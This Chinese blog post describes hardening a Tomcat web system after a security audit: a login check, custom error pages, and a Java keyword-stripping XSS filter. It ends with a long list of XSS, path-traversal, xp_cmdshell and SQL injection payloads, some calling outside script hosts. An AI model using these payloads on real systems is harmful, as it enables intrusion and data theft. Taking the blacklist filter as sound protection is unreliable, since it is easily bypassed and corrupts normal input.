公司web安全等級提升

背景介紹

公司的一個web數據展示系統,本來是內網的,而且是一個單獨的主機,不存在遠程控制的問題,所以之前並沒有考慮一些安全相關的測試.但是國調安全檢查的需要添加這樣子的一層防護措施,所以還是不得不添加一下. 仔細想一下,如果內網機被人意外連接網線,確實是會存在被入侵的可能,所以還是添加一下爲好.

目錄

針對國調的初次測試結果

初次測試有兩份報告,一個是滲透測試報告,一個是安全測試報告,不明白爲什麼有兩份,但是需要整改的有如下幾點:

  • 1存在未授權訪問漏洞,攻擊者利用此漏洞可以直接系統的管理員功能模塊。web界面需要登錄之後纔可以使用,需要添加一個登錄界面.如未設置嚴格的登錄認證,可直接訪問系統功能模塊,造成敏感信息泄露。
  • 2主機存在冗餘頁面。
  • 3Web服務存在敏感信息泄漏、Tomcat中間件信息以及版本信息泄漏.

解決方案

針對第1點,剛剛開始時候,工程人員並沒有給測試的文檔,只說說要一個登錄界面.使用系統的時候必須登錄之後纔可以使用.好吧,我的直接把操作數據庫時候的權限的登錄直接拿過來了.

發過去之後工程說還是不合格最後才總算是吧文檔發過來了,原來是登錄不夠嚴格,直接輸入登錄驗證成功之後的網址,就可以不用登錄了.於是在登錄界面直接設置一個cookie了,沒有的話就全部返回到登錄界面.

但是有一個問題,這個界面現在完全只是內網使用的,而且一般都是獨立的一臺電腦,因此這個界面是否有必要使用,還是未知狀態.

針對第2點,那些冗餘界面是啥,是tomcat的默認配置文件,沒得說自己刪除吧,不會?自己百度一下怎麼刪除tomcat的默認界面文件吧.

針對第3點,這個是tomcat和web都沒有配置錯誤界面導致的,添加這麼一個配置就行,直接在web.xml文件裏面添加了下面的東西了.

<error-page>
    <error-code>401</error-code>
    <location>/WEB-INF/error.html</location>
  </error-page>
  <error-page>
    <error-code>403</error-code>
    <location>/WEB-INF/error.html</location>
  </error-page>
  <error-page>
    <error-code>404</error-code>
    <location>/WEB-INF/error.html</location>
  </error-page>
  <error-page>
    <error-code>500</error-code>
    <location>/WEB-INF/error.html</location>
  </error-page>

然後web-inf目錄下面的這個error.html文件就如下代碼了,至於圖片就自己隨便找個了,這樣子就替換了中間件的信息了:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title>系統出現錯誤,我們會盡快修復,對您造成不便我們感到非常抱歉。</title>
    <style type="text/css">
        .ui-error-box{
 
            background-image: url(/images/error_bj.jpg); height:260px; width: 410px; margin: 80px auto;
            color: #eb6100; font-weight: bold; padding: 140px 0 0 198px;
         
}
        .ui-error-box a{
            color: #037cd6; margin-right: 20px;
}
 
    </style>
</head>
<body>
    <div class="ui-error-box">
        <p>資源不存在或者系統內部錯誤<br>對您造成不便我們感到非常抱歉。</p>
    </div>
</body> 

補充一點的是如果你的web可以訪問外網,可以在頁面裏面添加如下的js,實現騰訊公益的404界面.

<script type="text/javascript" src="//qzonestyle.gtimg.cn/qzone/hybrid/app/404/search_children.js" charset="utf-8" homePageUrl="http://yoursite.com/yourPage.html" homePageName="回到我的主頁"></script>

二次測試

二次測試的結果並沒有文檔,只是說有一些xss漏洞和一些注入漏洞.問了現場人員有哪些頁面,結果聽了半天只是聽明白了一個,好吧,自己慢慢弄了.

針對這個,由於有不少的頁面,直接的打算是通過filter,過濾所有的xss關鍵字段和注入字段了.然後需要的代碼如下:

//XssFilter.java
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;

/**
 * 
 * @author wk
 * @date 2018-8-11
 */
public class XssFilter implements Filter {
    @Override
    public void destroy() {
 
    }
 
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
            FilterChain chain) throws IOException, ServletException {
        chain.doFilter(new XssHttpServletRequestWraper(
                (HttpServletRequest)request), response);//對request和response進行過濾
    }
 
    @Override
    public void init(FilterConfig arg0) throws ServletException {
 
    }
}
//XssHttpServletRequestWraper.java
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;

/**
 * 
 * @author wk
 * @date 2018-8-11
 */
public class XssHttpServletRequestWraper extends HttpServletRequestWrapper {
    HttpServletRequest orgRequest = null;

    public XssHttpServletRequestWraper(HttpServletRequest request) {
        super(request);
        orgRequest = request;
    }

    @Override
    public String getParameter(String name) {
        return clearXss(super.getParameter(name));
    }

    @Override
    public String getHeader(String name) {
        return clearXss(super.getHeader(name));
    }

    @Override
    public String[] getParameterValues(String name) {
        String[] values = super.getParameterValues(name);
        if (values == null) {
            return null;
        }
        String[] newValues = new String[values.length];

        for (int i = 0; i < values.length; i++) {
            newValues[i] = clearXss(values[i]);
        }

        return newValues;
    }

    /**
     * 處理字符轉義
     * 
     * @param value
     * @return
     */
    private String clearXss(String value) {
        if (value == null || "".equals(value)) {
            return value;
        }
        try {
            value = value.replace("+", "%2B"); // '+' replace to '%2B'
            value = URLDecoder.decode(value, "utf-8");
        } catch (UnsupportedEncodingException e) {
        } catch (IllegalArgumentException e) {
        }

        // Avoid null characters
        value = value.replaceAll("\0", "");//過濾空字符

        value = value.replaceAll("\\(", "(").replace("\\)", ")");//過濾轉碼的括號
        value = value.replaceAll("eval\\((.*)\\)", "");//過濾eval函數
        value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']","\"\"");//過濾腳本函數
        value = value.replace("script", "");//過濾腳本
        value = value.replace("alert", "");//過濾彈窗
        value = value.replace("iframe", "");//過濾頁面跳轉
        value = value.replace("meta", "");//過濾mete屬性跳轉
        value = value.replace("http", "");//過濾連接替換
        value = value.replace("link", "");//過濾連接替換
        value = value.replace("title", "");//過濾修改標題
        value = value.replace("style", "");//過濾style的xss
        value = value.replace("head", "");//過濾頭部文件的更改
        value = value.replace("object", "");//過濾object類型的頁面注入
        value = value.replace("div", "");//過濾添加div操作
        value = value.replace("span", "");//過濾添加span操作
        value = value.replace("--", "");//過濾數據庫的省略註釋

        // Avoid anything in a src='...' type of e­xpression
        // Pattern scriptPattern =
        // Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",
        // Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
        Pattern scriptPattern = Pattern.compile("src[\r\n]*=",
                Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
        value = scriptPattern.matcher(value).replaceAll("");
        
         scriptPattern = Pattern.compile("href[\r\n]*=",
                Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
        value = scriptPattern.matcher(value).replaceAll("");

        // Avoid onload= e­xpressions
        scriptPattern = Pattern.compile("\\son(.*?)=", Pattern.CASE_INSENSITIVE
                | Pattern.MULTILINE | Pattern.DOTALL);
        value = scriptPattern.matcher(value).replaceAll("");

        // // Avoid e­xpression(...) e­xpressions
         scriptPattern = Pattern.compile("expression\\((.*?)\\)",
         Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
        // code would become error

        value = scriptPattern.matcher(value).replaceAll("");

        // return xssEncode(value);//xml will error for chars
        System.out.println("xss:"+value);
        if(!value.toLowerCase().contains("ecode")){
            value = xssEncode(value);
        }
        return value;
    }

    /**
     * 將容易引起xss漏洞的半角字符直接替換成全角字符
     * 
     * @param s
     * @return
     */
    private static String xssEncode(String s) {
        if (s == null || s.isEmpty()) {
            return s;
        }
        StringBuilder sb = new StringBuilder(s.length() + 16);
        for (int i = 0; i < s.length(); i++) {
            char c = s.charAt(i);
            switch (c) {
            case '>':
                sb.append('>');// 全角大於號
                break;
            case '<':
                sb.append('<');// 全角小於號
                break;
            case '\'':
                sb.append('‘');// 全角單引號
                break;
            case '\"':
                sb.append('“');// 全角雙引號
                break;
            case '&':
                sb.append('&');// 全角
                break;
            case '\\':
                sb.append('\');// 全角斜線
                break;
//          case '#':
//              sb.append('#');// 全角井號
//              break;
//ecode節點內部採用#作爲分隔符,不可轉碼
            case '%': // < 字符的 URL 編碼形式表示的 ASCII 字符(十六進制格式) 是: %3c
                processUrlEncoder(sb, s, i);
                break;
            default:
                sb.append(c);
                break;
            }
        }
        return sb.toString();
    }

    public static void processUrlEncoder(StringBuilder sb, String s, int index) {
        if (s.length() >= index + 2) {
            if (s.charAt(index + 1) == '3'
                    && (s.charAt(index + 2) == 'c' || s.charAt(index + 2) == 'C')) { // %3c,
                                                                                        // %3C
                sb.append('<');
                return;
            }
            if (s.charAt(index + 1) == '6' && s.charAt(index + 2) == '0') { // %3c
                                                                            // (0x3c=60)
                sb.append('<');
                return;
            }
            if (s.charAt(index + 1) == '3'
                    && (s.charAt(index + 2) == 'e' || s.charAt(index + 2) == 'E')) { // %3e,
                                                                                        // %3E
                sb.append('>');
                return;
            }
            if (s.charAt(index + 1) == '6' && s.charAt(index + 2) == '2') { // %3e
                                                                            // (0x3e=62)
                sb.append('>');
                return;
            }
        }
        sb.append(s.charAt(index));
    }

    /**
     * 獲取最原始的request
     * 
     * @return
     */
    public HttpServletRequest getOrgRequest() {
        return orgRequest;
    }

    // /**
    // * 獲取最原始的request的靜態方法
    // *
    // * @return
    // */
    // public static HttpServletRequest getOrgRequest(HttpServletRequest req) {
    // if (req instanceof XssHttpServletRequestWrapper) {
    // return ((XssHttpServletRequestWrapper) req).getOrgRequest();
    // }
    // return req;
    // }

}

上面的兩個是java的類,下面還需要添加對應的filter節點就行了.

  <filter>
    <filter-name>XssFilter</filter-name>
    <filter-class>XX.XX.XX.xss.XssFilter</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>XssFilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>

完成這個,基本常用的一些xss是攔住了.

關於XSS

什麼是XSS

XSS攻擊全稱跨站腳本攻擊,是爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS, XSS是一種在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。 一般而言,如果存在xss漏洞,在完成正常文本之後,添加對應的結束標記,在添加形如<script>alert('XSS')</script>的代碼, 如果訪問時候能夠出現彈窗,即可實現獲取其他用戶的信息的操作,危害不小.

基本防禦

傳統XSS防禦多采用特徵匹配方式,在所有提交的信息中都進行匹配檢查。 對於這種類型的XSS攻擊,採用的模式匹配方法一般會需要對“javascript”這個關鍵字進行檢索,也可以添加其他的關鍵字進行過濾, 一旦發現提交信息中包含“javascript”,就認定爲XSS攻擊。 這種檢測方法的缺陷顯而易見:駭客可以通過插入字符或完全編碼的方式躲避檢測: 躲避方法1)在javascript中加入多個tab鍵,得到

< IMG SRC="jav ascript:alert('XSS');" >;

躲避方法2) 在javascript中加入(空格)字符,得到

< IMG SRC="javascri pt:alert('XSS');" >;

躲避方法3) 在javascript中加入(回車)字符,得到

< IMG SRC="jav
ascript:alert('XSS');" >;

躲避方法4)在javascript中的每個字符間加入回車換行符,得到

< IMG SRC="javascrip\r
\nt:alert('XSS');" >

躲避方法5)對"javascript:alert('XSS')"採用完全編碼,得到

< IMGSRC=javascrip?74:alert('XSS') >

上述方法都可以很容易的躲避基於特徵的檢測。而除了會有大量的漏報外,基於特徵的 還存在大量的誤報可能:在上面的例子中,對上述某網站這樣一個地址,由於包含了關鍵字“javascript”,也將會觸發報警。

代碼防禦

和SQL注入防禦一樣,XSS攻擊也是利用了Web頁面的編寫疏忽,所以還有一種方法就是從Web應用開發的角度來避免:

步驟1、對所有用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、採用適當格式、採用所預期的字符的內容提交,對其他的一律過濾。

步驟2、實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。

步驟3、確認接收的的內容被妥善的規範化,僅包含最小的、安全的Tag(沒有javascript),去掉任何對遠程內容的引用(尤其是樣式表和javascript),使用HTTP only的cookie。

當然,如上操作將會降低Web業務系統的可用性,用戶僅能輸入少量的制定字符,人與系統間的交互被降到極致, 僅適用於信息發佈型站點。並且考慮到很少有Web編碼人員受過正規的安全培訓,很難做到完全避免頁面中的XSS漏洞。

xss代碼輯錄

//界面彈窗
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert(125)</script>
<script>alert('XSS')</script>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert('XSS')%3C/script%3E
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
<script>window.open('http://www.pete.cn /default.asp','newwindow','width=200,height=200');</script>

<img src=x onerror=alert(123)>
<img src="javascript:alert('XSS')">
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > 
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<BODY%20onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

<a href="http://www.baidu.com">百度</a>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>

<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=java:alert(‘XSS’);”>
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

<LINK REL="stylesheet" href="javascript:alert('XSS');">

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">

<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<p><svg onload=prompt(/xss/)></p>   //遇到過這種情況
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<XML src="javascript:alert('XSS');">
<BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT>
<BASE href="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")

a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
?sql_debug=1
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->

<script language="JavaScript">
<!--
while (true)
{
window.open("URI"); //如果URI就是當前頁本身,那就更具破壞性。
}
//-->
</script>

<script language="VBScript">
Set RegWsh = CreateObject("WScript.Shell");
//設置IE瀏覽器默認頁
RegWsh.RegWrite("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.attacker.com");
</script>



///注入部分
admin'--

' or 0=0 --
" or 0=0 --
or 0=0 --

' or 0=0 #
" or 0=0 #
or 0=0 #

' or 'x'='x
" or "x"="x
') or ('x'='x

' or 1=1--
" or 1=1--
or 1=1--

' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a

hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code]

' or 1<>2 --

注入部分可以詳見SQL注入語句大全

更多xss利用可以參考XSS跨站腳本攻擊全方位學習教程

說明

開發時候軟件版本爲1.44版本的web展示項目部分,後面同步更新到3.0的web部分.

參考文章

XSS 防禦方法總結

配置過濾器filter對跨站腳本攻擊XSS實現攔截

springMVC通過Filter實現防止xss注入

Java中使用Springmvc攔截器攔截XSS攻擊(XSS攔截)

XSS跨站腳本小結

經典XSS跨站腳本集合彙總整理

XSS攻擊常用腳本

XSS跨站測試代碼大全

XSS攻擊_百度百科

版本記錄

20180810 開始代碼動工

20180811 完成項目代碼

20180814 完成文章

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章